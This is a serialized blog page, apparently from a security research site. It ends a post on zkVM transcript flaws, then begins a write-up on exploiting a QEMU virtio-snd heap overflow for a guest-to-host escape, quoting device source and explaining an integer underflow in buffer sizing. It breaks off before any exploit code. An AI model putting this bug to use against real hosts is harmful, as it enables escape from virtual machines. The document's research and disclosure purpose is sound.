binding.",{"type":20,"tag":29,"props":121843,"children":121844},{},[121845],{"type":26,"value":121846},"We found six instances by examining a handful of systems. How many more exist in the dozens of zkVMs, proof systems, and recursive verifiers deployed today?",{"type":20,"tag":29,"props":121848,"children":121849},{},[121850,121855],{"type":20,"tag":3717,"props":121851,"children":121852},{},[121853],{"type":26,"value":121854},"For auditors:",{"type":26,"value":121856}," Draw the data flow. Trace the transcript. Check every prover-controlled value against when its relevant challenges are derived.",{"type":20,"tag":29,"props":121858,"children":121859},{},[121860,121865],{"type":20,"tag":3717,"props":121861,"children":121862},{},[121863],{"type":26,"value":121864},"For builders:",{"type":26,"value":121866}," Treat the transcript as a sacred ledger. When in doubt, absorb it.",{"type":20,"tag":1226,"props":121868,"children":121869},{},[121870],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":121872},[121873,121874,121877,121883,121884,121892,121898,121901,121902,121906],{"id":106169,"depth":356,"text":106172},{"id":106311,"depth":356,"text":106314,"children":121875},[121876],{"id":106317,"depth":365,"text":106320},{"id":106746,"depth":356,"text":106749,"children":121878},[121879,121880,121881,121882],{"id":106757,"depth":365,"text":106760},{"id":106945,"depth":365,"text":106948},{"id":110326,"depth":365,"text":110329},{"id":111540,"depth":365,"text":111543},{"id":113177,"depth":356,"text":113180},{"id":113683,"depth":356,"text":113686,"children":121885},[121886,121887,121888,121889,121890,121891],{"id":113705,"depth":365,"text":113708},{"id":115030,"depth":365,"text":106124},{"id":116166,"depth":365,"text":116169},{"id":116834,"depth":365,"text":116837},{"id":119490,"depth":365,"text":119493},{"id":120044,"depth":365,"text":106148},{"id":120973,"depth":356,"text":120976,"children":121893},[121894,121895,121896,121897],{"id":120984,"depth":365,"text":120987},{"id":121154,"depth":365,"text":121157},{"id":121178,"depth":365,"text":121181},{"id":121194,"depth":365,"text":121197},{"id":121208,"depth":356,"text":121211,"children":121899},[121900],{"id":121214,"depth":365,"text":121217},{"id":121248,"depth":356,"text":121251},{"id":121425,"depth":356,"text":106161,"children":121903},[121904,121905],{"id":121758,"depth":365,"text":106118},{"id":121787,"depth":365,"text":106124},{"id":121818,"depth":356,"text":121821},"content:blog:2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims.md","blog/2026-03-03-zkvms-unfaithful-claims",{"_path":121911,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":121912,"description":121913,"date":121914,"author":121915,"image":121916,"isFeatured":15,"onBlogPage":15,"tags":121918,"body":121921,"_type":1242,"_id":130207,"_source":1244,"_file":130208,"_stem":130209,"_extension":1247},"/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape","From virtio-snd 0-Day to Hypervisor Escape: Exploiting QEMU with an Uncontrolled Heap Overflow","Turning an uncontrolled heap overflow into a reliable QEMU guest-to-host escape using new glibc allocator behavior and QEMU-specific heap spray techniques.","2026-03-17T12:00:00.000Z","hrvoje",{"src":121917,"width":95526,"height":12024},"/posts/virtio-snd-qemu-0day/title.png",[121919,121920],"qemu","heap-overflow",{"type":17,"children":121922,"toc":130189},[121923,121928,121933,121938,121944,121949,121954,121962,121968,121980,121984,121989,121997,122002,122008,122013,122026,122636,122671,122716,122750,122785,122920,122968,122974,122979,123735,123780,123816,123851,123916,123936,124386,124433,124436,124441,124506,124532,124554,124558,124563,124568,124574,124579,124584,124589,124595,124608,124614,124619,124627,124697,124702,124708,124721,124947,125010,125029,125412,125417,125450,125455,125731,125743,125761,126040,126052,126055,126090,126095,126101,126113,126125,126130,126135,126145,126180,126797,126829,126840,126876,126889,126895,126907,126915,126941,126946,126979,127020,127026,127045,127083,127091,127140,127145,127194,127199,127207,127294,127300,127339,127351,127359,127377,127396,127404,127416,127424,127443,127451,127462,127470,127481,127489,127502,127510,127516,127521,127534,127542,127560,127568,127580,127585,127593,127629,127662,127669,127703,127711,127716,127722,127734,127745,128024,128084,128152,128160,128194,128798,128809,128817,128823,128828,128839,129593,129626,129638,129724,129744,129953,130000,130012,130018,130037,130063,130091,130107,130134,130137,130157,130171,130175,130180,130185],{"type":20,"tag":29,"props":121924,"children":121925},{},[121926],{"type":26,"value":121927},"Heap overflows are often exploitable, but far less so when the corrupted bytes are not under your control. In many cases, that kind of bug is written off as a crash and nothing more. However, in this post we show how we turned such an overflow into a reliable QEMU guest-to-host escape by abusing new glibc allocator behavior and QEMU-specific heap spray techniques.",{"type":20,"tag":21,"props":121929,"children":121930},{"id":121919},[121931],{"type":26,"value":121932},"QEMU",{"type":20,"tag":29,"props":121934,"children":121935},{},[121936],{"type":26,"value":121937},"QEMU is a machine emulator and virtualizer that lets a host system run guest operating systems. It presents the guest with virtual hardware, while the logic backing that hardware runs inside the host-side QEMU process.",{"type":20,"tag":219,"props":121939,"children":121941},{"id":121940},"virtio-devices",[121942],{"type":26,"value":121943},"Virtio Devices",{"type":20,"tag":29,"props":121945,"children":121946},{},[121947],{"type":26,"value":121948},"For guest-to-host escape research, the interesting part of QEMU is the interface between the guest and those host-side device implementations. Every request sent by the guest is eventually parsed and handled by code running in the QEMU process. This is interesting because any unhandled edge case in the device could lead to some kind of host state corruption.",{"type":20,"tag":29,"props":121950,"children":121951},{},[121952],{"type":26,"value":121953},"At a high level, the communication between the driver running in the guest and the device running on the host is simple - the guest-side virtio driver shares requests over virtqueues, while the host-side virtio device consumes those requests, processes and returns responses.",{"type":20,"tag":29,"props":121955,"children":121956},{},[121957],{"type":20,"tag":2308,"props":121958,"children":121961},{"alt":121959,"src":121960},"flowchart1","/posts/virtio-snd-qemu-0day/flowchart1.png",[],{"type":20,"tag":21,"props":121963,"children":121965},{"id":121964},"finding-a-bug",[121966],{"type":26,"value":121967},"Finding a Bug",{"type":20,"tag":29,"props":121969,"children":121970},{},[121971,121973,121979],{"type":26,"value":121972},"While looking for devices to research, we focused on ones that seemed to have received less scrutiny in the past. With that in mind, we started with the sound device ",{"type":20,"tag":119,"props":121974,"children":121976},{"className":121975},[],[121977],{"type":26,"value":121978},"virtio-snd",{"type":26,"value":61},{"type":20,"tag":219,"props":121981,"children":121982},{"id":121978},[121983],{"type":26,"value":121978},{"type":20,"tag":29,"props":121985,"children":121986},{},[121987],{"type":26,"value":121988},"From the official documentation:",{"type":20,"tag":1312,"props":121990,"children":121991},{},[121992],{"type":20,"tag":29,"props":121993,"children":121994},{},[121995],{"type":26,"value":121996},"Virtio sound implements capture and playback from inside a guest using the configured audio backend of the host machine.",{"type":20,"tag":29,"props":121998,"children":121999},{},[122000],{"type":26,"value":122001},"Essentially, it allows software running inside the guest to interact with the host's audio stack through a paravirtualized sound device. Playback streams send guest-provided audio data to the host backend, while capture streams let the guest receive audio input from the host.",{"type":20,"tag":17297,"props":122003,"children":122005},{"id":122004},"audio-data-buffers",[122006],{"type":26,"value":122007},"Audio Data Buffers",{"type":20,"tag":29,"props":122009,"children":122010},{},[122011],{"type":26,"value":122012},"This audio data flows through buffers allocated by the host-side virtio-snd device and stored in a FIFO linked list for the corresponding stream.",{"type":20,"tag":29,"props":122014,"children":122015},{},[122016,122018,122024],{"type":26,"value":122017},"For example, the following is ",{"type":20,"tag":119,"props":122019,"children":122021},{"className":122020},[],[122022],{"type":26,"value":122023},"virtio_snd_handle_rx_xfer",{"type":26,"value":122025},", which is responsible for allocating buffers for an input audio stream:",{"type":20,"tag":305,"props":122027,"children":122029},{"code":122028,"language":1528,"meta":7,"className":14916,"style":7},"/*\n * The rx virtqueue handler. Makes the buffers available to their\n * respective streams for consumption.\n *\n * @vdev: VirtIOSound device\n * @vq: rx virtqueue\n */\nstatic void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtQueueElement *elem;\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement)); // [1]\n if (!elem) {\n break;\n }\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status); // [2]\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);\n buffer->elem = elem;\n buffer->vq = vq;\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry); // [3]\n }\n continue;\n\n [...]\n}\n\n",[122030],{"type":20,"tag":119,"props":122031,"children":122032},{"__ignoreMap":7},[122033,122040,122048,122056,122063,122071,122079,122087,122135,122142,122159,122166,122173,122185,122202,122209,122245,122265,122276,122283,122290,122298,122305,122338,122397,122415,122454,122479,122503,122531,122558,122596,122603,122615,122622,122629],{"type":20,"tag":315,"props":122034,"children":122035},{"class":317,"line":318},[122036],{"type":20,"tag":315,"props":122037,"children":122038},{"style":1071},[122039],{"type":26,"value":47617},{"type":20,"tag":315,"props":122041,"children":122042},{"class":317,"line":356},[122043],{"type":20,"tag":315,"props":122044,"children":122045},{"style":1071},[122046],{"type":26,"value":122047}," * The rx virtqueue handler. Makes the buffers available to their\n",{"type":20,"tag":315,"props":122049,"children":122050},{"class":317,"line":365},[122051],{"type":20,"tag":315,"props":122052,"children":122053},{"style":1071},[122054],{"type":26,"value":122055}," * respective streams for consumption.\n",{"type":20,"tag":315,"props":122057,"children":122058},{"class":317,"line":374},[122059],{"type":20,"tag":315,"props":122060,"children":122061},{"style":1071},[122062],{"type":26,"value":17892},{"type":20,"tag":315,"props":122064,"children":122065},{"class":317,"line":383},[122066],{"type":20,"tag":315,"props":122067,"children":122068},{"style":1071},[122069],{"type":26,"value":122070}," * @vdev: VirtIOSound device\n",{"type":20,"tag":315,"props":122072,"children":122073},{"class":317,"line":407},[122074],{"type":20,"tag":315,"props":122075,"children":122076},{"style":1071},[122077],{"type":26,"value":122078}," * @vq: rx virtqueue\n",{"type":20,"tag":315,"props":122080,"children":122081},{"class":317,"line":421},[122082],{"type":20,"tag":315,"props":122083,"children":122084},{"style":1071},[122085],{"type":26,"value":122086}," */\n",{"type":20,"tag":315,"props":122088,"children":122089},{"class":317,"line":430},[122090,122094,122098,122103,122108,122112,122117,122122,122126,122131],{"type":20,"tag":315,"props":122091,"children":122092},{"style":541},[122093],{"type":26,"value":49296},{"type":20,"tag":315,"props":122095,"children":122096},{"style":541},[122097],{"type":26,"value":49301},{"type":20,"tag":315,"props":122099,"children":122100},{"style":345},[122101],{"type":26,"value":122102}," virtio_snd_handle_rx_xfer",{"type":20,"tag":315,"props":122104,"children":122105},{"style":328},[122106],{"type":26,"value":122107},"(VirtIODevice ",{"type":20,"tag":315,"props":122109,"children":122110},{"style":334},[122111],{"type":26,"value":901},{"type":20,"tag":315,"props":122113,"children":122114},{"style":635},[122115],{"type":26,"value":122116},"vdev",{"type":20,"tag":315,"props":122118,"children":122119},{"style":328},[122120],{"type":26,"value":122121},", VirtQueue ",{"type":20,"tag":315,"props":122123,"children":122124},{"style":334},[122125],{"type":26,"value":901},{"type":20,"tag":315,"props":122127,"children":122128},{"style":635},[122129],{"type":26,"value":122130},"vq",{"type":20,"tag":315,"props":122132,"children":122133},{"style":328},[122134],{"type":26,"value":380},{"type":20,"tag":315,"props":122136,"children":122137},{"class":317,"line":453},[122138],{"type":20,"tag":315,"props":122139,"children":122140},{"style":328},[122141],{"type":26,"value":723},{"type":20,"tag":315,"props":122143,"children":122144},{"class":317,"line":486},[122145,122150,122154],{"type":20,"tag":315,"props":122146,"children":122147},{"style":328},[122148],{"type":26,"value":122149}," VirtQueueElement ",{"type":20,"tag":315,"props":122151,"children":122152},{"style":334},[122153],{"type":26,"value":901},{"type":20,"tag":315,"props":122155,"children":122156},{"style":328},[122157],{"type":26,"value":122158},"elem;\n",{"type":20,"tag":315,"props":122160,"children":122161},{"class":317,"line":499},[122162],{"type":20,"tag":315,"props":122163,"children":122164},{"style":328},[122165],{"type":26,"value":103059},{"type":20,"tag":315,"props":122167,"children":122168},{"class":317,"line":513},[122169],{"type":20,"tag":315,"props":122170,"children":122171},{"emptyLinePlaceholder":15},[122172],{"type":26,"value":427},{"type":20,"tag":315,"props":122174,"children":122175},{"class":317,"line":521},[122176,122180],{"type":20,"tag":315,"props":122177,"children":122178},{"style":525},[122179],{"type":26,"value":1413},{"type":20,"tag":315,"props":122181,"children":122182},{"style":328},[122183],{"type":26,"value":122184}," (;;) {\n",{"type":20,"tag":315,"props":122186,"children":122187},{"class":317,"line":552},[122188,122193,122197],{"type":20,"tag":315,"props":122189,"children":122190},{"style":328},[122191],{"type":26,"value":122192}," VirtIOSoundPCMStream ",{"type":20,"tag":315,"props":122194,"children":122195},{"style":334},[122196],{"type":26,"value":901},{"type":20,"tag":315,"props":122198,"children":122199},{"style":328},[122200],{"type":26,"value":122201},"stream;\n",{"type":20,"tag":315,"props":122203,"children":122204},{"class":317,"line":571},[122205],{"type":20,"tag":315,"props":122206,"children":122207},{"emptyLinePlaceholder":15},[122208],{"type":26,"value":427},{"type":20,"tag":315,"props":122210,"children":122211},{"class":317,"line":2031},[122212,122217,122221,122226,122231,122235,122240],{"type":20,"tag":315,"props":122213,"children":122214},{"style":328},[122215],{"type":26,"value":122216}," elem ",{"type":20,"tag":315,"props":122218,"children":122219},{"style":334},[122220],{"type":26,"value":337},{"type":20,"tag":315,"props":122222,"children":122223},{"style":345},[122224],{"type":26,"value":122225}," virtqueue_pop",{"type":20,"tag":315,"props":122227,"children":122228},{"style":328},[122229],{"type":26,"value":122230},"(vq, ",{"type":20,"tag":315,"props":122232,"children":122233},{"style":541},[122234],{"type":26,"value":53580},{"type":20,"tag":315,"props":122236,"children":122237},{"style":328},[122238],{"type":26,"value":122239},"(VirtQueueElement));",{"type":20,"tag":315,"props":122241,"children":122242},{"style":1071},[122243],{"type":26,"value":122244}," // [1]\n",{"type":20,"tag":315,"props":122246,"children":122247},{"class":317,"line":2053},[122248,122252,122256,122260],{"type":20,"tag":315,"props":122249,"children":122250},{"style":525},[122251],{"type":26,"value":1654},{"type":20,"tag":315,"props":122253,"children":122254},{"style":328},[122255],{"type":26,"value":463},{"type":20,"tag":315,"props":122257,"children":122258},{"style":334},[122259],{"type":26,"value":19025},{"type":20,"tag":315,"props":122261,"children":122262},{"style":328},[122263],{"type":26,"value":122264},"elem) {\n",{"type":20,"tag":315,"props":122266,"children":122267},{"class":317,"line":2061},[122268,122272],{"type":20,"tag":315,"props":122269,"children":122270},{"style":525},[122271],{"type":26,"value":1680},{"type":20,"tag":315,"props":122273,"children":122274},{"style":328},[122275],{"type":26,"value":1405},{"type":20,"tag":315,"props":122277,"children":122278},{"class":317,"line":2070},[122279],{"type":20,"tag":315,"props":122280,"children":122281},{"style":328},[122282],{"type":26,"value":1728},{"type":20,"tag":315,"props":122284,"children":122285},{"class":317,"line":2139},[122286],{"type":20,"tag":315,"props":122287,"children":122288},{"emptyLinePlaceholder":15},[122289],{"type":26,"value":427},{"type":20,"tag":315,"props":122291,"children":122292},{"class":317,"line":2147},[122293],{"type":20,"tag":315,"props":122294,"children":122295},{"style":328},[122296],{"type":26,"value":122297}," [...]\n",{"type":20,"tag":315,"props":122299,"children":122300},{"class":317,"line":2177},[122301],{"type":20,"tag":315,"props":122302,"children":122303},{"emptyLinePlaceholder":15},[122304],{"type":26,"value":427},{"type":20,"tag":315,"props":122306,"children":122307},{"class":317,"line":2185},[122308,122313,122317,122321,122325,122329,122334],{"type":20,"tag":315,"props":122309,"children":122310},{"style":345},[122311],{"type":26,"value":122312}," WITH_QEMU_LOCK_GUARD",{"type":20,"tag":315,"props":122314,"children":122315},{"style":328},[122316],{"type":26,"value":1049},{"type":20,"tag":315,"props":122318,"children":122319},{"style":334},[122320],{"type":26,"value":1490},{"type":20,"tag":315,"props":122322,"children":122323},{"style":635},[122324],{"type":26,"value":34677},{"type":20,"tag":315,"props":122326,"children":122327},{"style":328},[122328],{"type":26,"value":12158},{"type":20,"tag":315,"props":122330,"children":122331},{"style":635},[122332],{"type":26,"value":122333},"queue_mutex",{"type":20,"tag":315,"props":122335,"children":122336},{"style":328},[122337],{"type":26,"value":549},{"type":20,"tag":315,"props":122339,"children":122340},{"class":317,"line":2217},[122341,122346,122350,122355,122359,122363,122367,122372,122376,122380,122384,122389,122393],{"type":20,"tag":315,"props":122342,"children":122343},{"style":328},[122344],{"type":26,"value":122345}," size ",{"type":20,"tag":315,"props":122347,"children":122348},{"style":334},[122349],{"type":26,"value":337},{"type":20,"tag":315,"props":122351,"children":122352},{"style":345},[122353],{"type":26,"value":122354}," iov_size",{"type":20,"tag":315,"props":122356,"children":122357},{"style":328},[122358],{"type":26,"value":1049},{"type":20,"tag":315,"props":122360,"children":122361},{"style":635},[122362],{"type":26,"value":50316},{"type":20,"tag":315,"props":122364,"children":122365},{"style":328},[122366],{"type":26,"value":12158},{"type":20,"tag":315,"props":122368,"children":122369},{"style":635},[122370],{"type":26,"value":122371},"in_sg",{"type":20,"tag":315,"props":122373,"children":122374},{"style":328},[122375],{"type":26,"value":44},{"type":20,"tag":315,"props":122377,"children":122378},{"style":635},[122379],{"type":26,"value":50316},{"type":20,"tag":315,"props":122381,"children":122382},{"style":328},[122383],{"type":26,"value":12158},{"type":20,"tag":315,"props":122385,"children":122386},{"style":635},[122387],{"type":26,"value":122388},"in_num",{"type":20,"tag":315,"props":122390,"children":122391},{"style":328},[122392],{"type":26,"value":1468},{"type":20,"tag":315,"props":122394,"children":122395},{"style":334},[122396],{"type":26,"value":49113},{"type":20,"tag":315,"props":122398,"children":122399},{"class":317,"line":2225},[122400,122405,122410],{"type":20,"tag":315,"props":122401,"children":122402},{"style":541},[122403],{"type":26,"value":122404}," sizeof",{"type":20,"tag":315,"props":122406,"children":122407},{"style":328},[122408],{"type":26,"value":122409},"(virtio_snd_pcm_status);",{"type":20,"tag":315,"props":122411,"children":122412},{"style":1071},[122413],{"type":26,"value":122414}," // [2]\n",{"type":20,"tag":315,"props":122416,"children":122417},{"class":317,"line":2285},[122418,122423,122427,122432,122436,122440,122445,122449],{"type":20,"tag":315,"props":122419,"children":122420},{"style":328},[122421],{"type":26,"value":122422}," buffer ",{"type":20,"tag":315,"props":122424,"children":122425},{"style":334},[122426],{"type":26,"value":337},{"type":20,"tag":315,"props":122428,"children":122429},{"style":345},[122430],{"type":26,"value":122431}," g_malloc0",{"type":20,"tag":315,"props":122433,"children":122434},{"style":328},[122435],{"type":26,"value":1049},{"type":20,"tag":315,"props":122437,"children":122438},{"style":541},[122439],{"type":26,"value":53580},{"type":20,"tag":315,"props":122441,"children":122442},{"style":328},[122443],{"type":26,"value":122444},"(VirtIOSoundPCMBuffer) ",{"type":20,"tag":315,"props":122446,"children":122447},{"style":334},[122448],{"type":26,"value":817},{"type":20,"tag":315,"props":122450,"children":122451},{"style":328},[122452],{"type":26,"value":122453}," size);\n",{"type":20,"tag":315,"props":122455,"children":122456},{"class":317,"line":7444},[122457,122462,122466,122470,122474],{"type":20,"tag":315,"props":122458,"children":122459},{"style":635},[122460],{"type":26,"value":122461}," buffer",{"type":20,"tag":315,"props":122463,"children":122464},{"style":328},[122465],{"type":26,"value":12158},{"type":20,"tag":315,"props":122467,"children":122468},{"style":635},[122469],{"type":26,"value":50316},{"type":20,"tag":315,"props":122471,"children":122472},{"style":334},[122473],{"type":26,"value":1395},{"type":20,"tag":315,"props":122475,"children":122476},{"style":328},[122477],{"type":26,"value":122478}," elem;\n",{"type":20,"tag":315,"props":122480,"children":122481},{"class":317,"line":7462},[122482,122486,122490,122494,122498],{"type":20,"tag":315,"props":122483,"children":122484},{"style":635},[122485],{"type":26,"value":122461},{"type":20,"tag":315,"props":122487,"children":122488},{"style":328},[122489],{"type":26,"value":12158},{"type":20,"tag":315,"props":122491,"children":122492},{"style":635},[122493],{"type":26,"value":122130},{"type":20,"tag":315,"props":122495,"children":122496},{"style":334},[122497],{"type":26,"value":1395},{"type":20,"tag":315,"props":122499,"children":122500},{"style":328},[122501],{"type":26,"value":122502}," vq;\n",{"type":20,"tag":315,"props":122504,"children":122505},{"class":317,"line":7507},[122506,122510,122514,122519,122523,122527],{"type":20,"tag":315,"props":122507,"children":122508},{"style":635},[122509],{"type":26,"value":122461},{"type":20,"tag":315,"props":122511,"children":122512},{"style":328},[122513],{"type":26,"value":12158},{"type":20,"tag":315,"props":122515,"children":122516},{"style":635},[122517],{"type":26,"value":122518},"size",{"type":20,"tag":315,"props":122520,"children":122521},{"style":334},[122522],{"type":26,"value":1395},{"type":20,"tag":315,"props":122524,"children":122525},{"style":765},[122526],{"type":26,"value":985},{"type":20,"tag":315,"props":122528,"children":122529},{"style":328},[122530],{"type":26,"value":1405},{"type":20,"tag":315,"props":122532,"children":122533},{"class":317,"line":7613},[122534,122538,122542,122546,122550,122554],{"type":20,"tag":315,"props":122535,"children":122536},{"style":635},[122537],{"type":26,"value":122461},{"type":20,"tag":315,"props":122539,"children":122540},{"style":328},[122541],{"type":26,"value":12158},{"type":20,"tag":315,"props":122543,"children":122544},{"style":635},[122545],{"type":26,"value":12302},{"type":20,"tag":315,"props":122547,"children":122548},{"style":334},[122549],{"type":26,"value":1395},{"type":20,"tag":315,"props":122551,"children":122552},{"style":765},[122553],{"type":26,"value":985},{"type":20,"tag":315,"props":122555,"children":122556},{"style":328},[122557],{"type":26,"value":1405},{"type":20,"tag":315,"props":122559,"children":122560},{"class":317,"line":21914},[122561,122566,122570,122574,122578,122582,122587,122592],{"type":20,"tag":315,"props":122562,"children":122563},{"style":345},[122564],{"type":26,"value":122565}," QSIMPLEQ_INSERT_TAIL",{"type":20,"tag":315,"props":122567,"children":122568},{"style":328},[122569],{"type":26,"value":1049},{"type":20,"tag":315,"props":122571,"children":122572},{"style":334},[122573],{"type":26,"value":1490},{"type":20,"tag":315,"props":122575,"children":122576},{"style":635},[122577],{"type":26,"value":34677},{"type":20,"tag":315,"props":122579,"children":122580},{"style":328},[122581],{"type":26,"value":12158},{"type":20,"tag":315,"props":122583,"children":122584},{"style":635},[122585],{"type":26,"value":122586},"queue",{"type":20,"tag":315,"props":122588,"children":122589},{"style":328},[122590],{"type":26,"value":122591},", buffer, entry);",{"type":20,"tag":315,"props":122593,"children":122594},{"style":1071},[122595],{"type":26,"value":50881},{"type":20,"tag":315,"props":122597,"children":122598},{"class":317,"line":21949},[122599],{"type":20,"tag":315,"props":122600,"children":122601},{"style":328},[122602],{"type":26,"value":1728},{"type":20,"tag":315,"props":122604,"children":122605},{"class":317,"line":21957},[122606,122611],{"type":20,"tag":315,"props":122607,"children":122608},{"style":525},[122609],{"type":26,"value":122610}," continue",{"type":20,"tag":315,"props":122612,"children":122613},{"style":328},[122614],{"type":26,"value":1405},{"type":20,"tag":315,"props":122616,"children":122617},{"class":317,"line":21965},[122618],{"type":20,"tag":315,"props":122619,"children":122620},{"emptyLinePlaceholder":15},[122621],{"type":26,"value":427},{"type":20,"tag":315,"props":122623,"children":122624},{"class":317,"line":21974},[122625],{"type":20,"tag":315,"props":122626,"children":122627},{"style":328},[122628],{"type":26,"value":122297},{"type":20,"tag":315,"props":122630,"children":122631},{"class":317,"line":22016},[122632],{"type":20,"tag":315,"props":122633,"children":122634},{"style":328},[122635],{"type":26,"value":577},{"type":20,"tag":29,"props":122637,"children":122638},{},[122639,122641,122647,122649,122655,122657,122662,122663,122669],{"type":26,"value":122640},"At ",{"type":20,"tag":119,"props":122642,"children":122644},{"className":122643},[],[122645],{"type":26,"value":122646},"[1]",{"type":26,"value":122648},", a ",{"type":20,"tag":119,"props":122650,"children":122652},{"className":122651},[],[122653],{"type":26,"value":122654},"VirtQueueElement *elem",{"type":26,"value":122656}," is popped from the virtqueue. It contains the ",{"type":20,"tag":119,"props":122658,"children":122660},{"className":122659},[],[122661],{"type":26,"value":122371},{"type":26,"value":9392},{"type":20,"tag":119,"props":122664,"children":122666},{"className":122665},[],[122667],{"type":26,"value":122668},"out_sg",{"type":26,"value":122670}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":20,"tag":29,"props":122672,"children":122673},{},[122674,122676,122682,122684,122690,122692,122698,122700,122706,122708,122714],{"type":26,"value":122675},"Further at ",{"type":20,"tag":119,"props":122677,"children":122679},{"className":122678},[],[122680],{"type":26,"value":122681},"[2]",{"type":26,"value":122683},", the device computes the size of the data buffer as ",{"type":20,"tag":119,"props":122685,"children":122687},{"className":122686},[],[122688],{"type":26,"value":122689},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":26,"value":122691},". That value is then used in the allocation: ",{"type":20,"tag":119,"props":122693,"children":122695},{"className":122694},[],[122696],{"type":26,"value":122697},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":26,"value":122699},". Finally, at ",{"type":20,"tag":119,"props":122701,"children":122703},{"className":122702},[],[122704],{"type":26,"value":122705},"[3]",{"type":26,"value":122707},", the newly allocated buffer is appended to the ",{"type":20,"tag":119,"props":122709,"children":122711},{"className":122710},[],[122712],{"type":26,"value":122713},"stream->queue",{"type":26,"value":122715}," linked list.",{"type":20,"tag":29,"props":122717,"children":122718},{},[122719,122721,122726,122728,122733,122735,122740,122742,122748],{"type":26,"value":122720},"Because both the ",{"type":20,"tag":119,"props":122722,"children":122724},{"className":122723},[],[122725],{"type":26,"value":122371},{"type":26,"value":122727}," iovec and the ",{"type":20,"tag":119,"props":122729,"children":122731},{"className":122730},[],[122732],{"type":26,"value":122388},{"type":26,"value":122734}," field are guest-controlled, and there is no check that the total ",{"type":20,"tag":119,"props":122736,"children":122738},{"className":122737},[],[122739],{"type":26,"value":122371},{"type":26,"value":122741}," size is at least ",{"type":20,"tag":119,"props":122743,"children":122745},{"className":122744},[],[122746],{"type":26,"value":122747},"sizeof(virtio_snd_pcm_status)",{"type":26,"value":122749},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":20,"tag":29,"props":122751,"children":122752},{},[122753,122755,122760,122762,122768,122770,122776,122778,122784],{"type":26,"value":122754},"From the guest driver, we can provide an empty ",{"type":20,"tag":119,"props":122756,"children":122758},{"className":122757},[],[122759],{"type":26,"value":122371},{"type":26,"value":122761}," iovec. In that case, the calculation becomes ",{"type":20,"tag":119,"props":122763,"children":122765},{"className":122764},[],[122766],{"type":26,"value":122767},"0 - sizeof(virtio_snd_pcm_status)",{"type":26,"value":122769},", so the allocation size effectively becomes ",{"type":20,"tag":119,"props":122771,"children":122773},{"className":122772},[],[122774],{"type":26,"value":122775},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":26,"value":122777},". Given the definition of ",{"type":20,"tag":119,"props":122779,"children":122781},{"className":122780},[],[122782],{"type":26,"value":122783},"VirtIOSoundPCMBuffer",{"type":26,"value":2884},{"type":20,"tag":305,"props":122786,"children":122788},{"code":122787,"language":1528,"meta":7,"className":14916,"style":7},"struct VirtIOSoundPCMBuffer {\n QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n VirtQueueElement *elem;\n VirtQueue *vq;\n size_t size;\n uint64_t offset;\n /* Used for the TX queue for lazy I/O copy from `elem` */\n bool populated;\n uint8_t data[];\n};\n",[122789],{"type":20,"tag":119,"props":122790,"children":122791},{"__ignoreMap":7},[122792,122804,122817,122832,122849,122861,122873,122881,122893,122913],{"type":20,"tag":315,"props":122793,"children":122794},{"class":317,"line":318},[122795,122799],{"type":20,"tag":315,"props":122796,"children":122797},{"style":541},[122798],{"type":26,"value":7800},{"type":20,"tag":315,"props":122800,"children":122801},{"style":328},[122802],{"type":26,"value":122803}," VirtIOSoundPCMBuffer {\n",{"type":20,"tag":315,"props":122805,"children":122806},{"class":317,"line":356},[122807,122812],{"type":20,"tag":315,"props":122808,"children":122809},{"style":345},[122810],{"type":26,"value":122811}," QSIMPLEQ_ENTRY",{"type":20,"tag":315,"props":122813,"children":122814},{"style":328},[122815],{"type":26,"value":122816},"(VirtIOSoundPCMBuffer) entry;\n",{"type":20,"tag":315,"props":122818,"children":122819},{"class":317,"line":365},[122820,122824,122828],{"type":20,"tag":315,"props":122821,"children":122822},{"style":328},[122823],{"type":26,"value":122149},{"type":20,"tag":315,"props":122825,"children":122826},{"style":334},[122827],{"type":26,"value":901},{"type":20,"tag":315,"props":122829,"children":122830},{"style":328},[122831],{"type":26,"value":122158},{"type":20,"tag":315,"props":122833,"children":122834},{"class":317,"line":374},[122835,122840,122844],{"type":20,"tag":315,"props":122836,"children":122837},{"style":328},[122838],{"type":26,"value":122839}," VirtQueue ",{"type":20,"tag":315,"props":122841,"children":122842},{"style":334},[122843],{"type":26,"value":901},{"type":20,"tag":315,"props":122845,"children":122846},{"style":328},[122847],{"type":26,"value":122848},"vq;\n",{"type":20,"tag":315,"props":122850,"children":122851},{"class":317,"line":383},[122852,122856],{"type":20,"tag":315,"props":122853,"children":122854},{"style":541},[122855],{"type":26,"value":14966},{"type":20,"tag":315,"props":122857,"children":122858},{"style":328},[122859],{"type":26,"value":122860}," size;\n",{"type":20,"tag":315,"props":122862,"children":122863},{"class":317,"line":407},[122864,122868],{"type":20,"tag":315,"props":122865,"children":122866},{"style":541},[122867],{"type":26,"value":53865},{"type":20,"tag":315,"props":122869,"children":122870},{"style":328},[122871],{"type":26,"value":122872}," offset;\n",{"type":20,"tag":315,"props":122874,"children":122875},{"class":317,"line":421},[122876],{"type":20,"tag":315,"props":122877,"children":122878},{"style":1071},[122879],{"type":26,"value":122880}," /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":20,"tag":315,"props":122882,"children":122883},{"class":317,"line":430},[122884,122888],{"type":20,"tag":315,"props":122885,"children":122886},{"style":541},[122887],{"type":26,"value":667},{"type":20,"tag":315,"props":122889,"children":122890},{"style":328},[122891],{"type":26,"value":122892}," 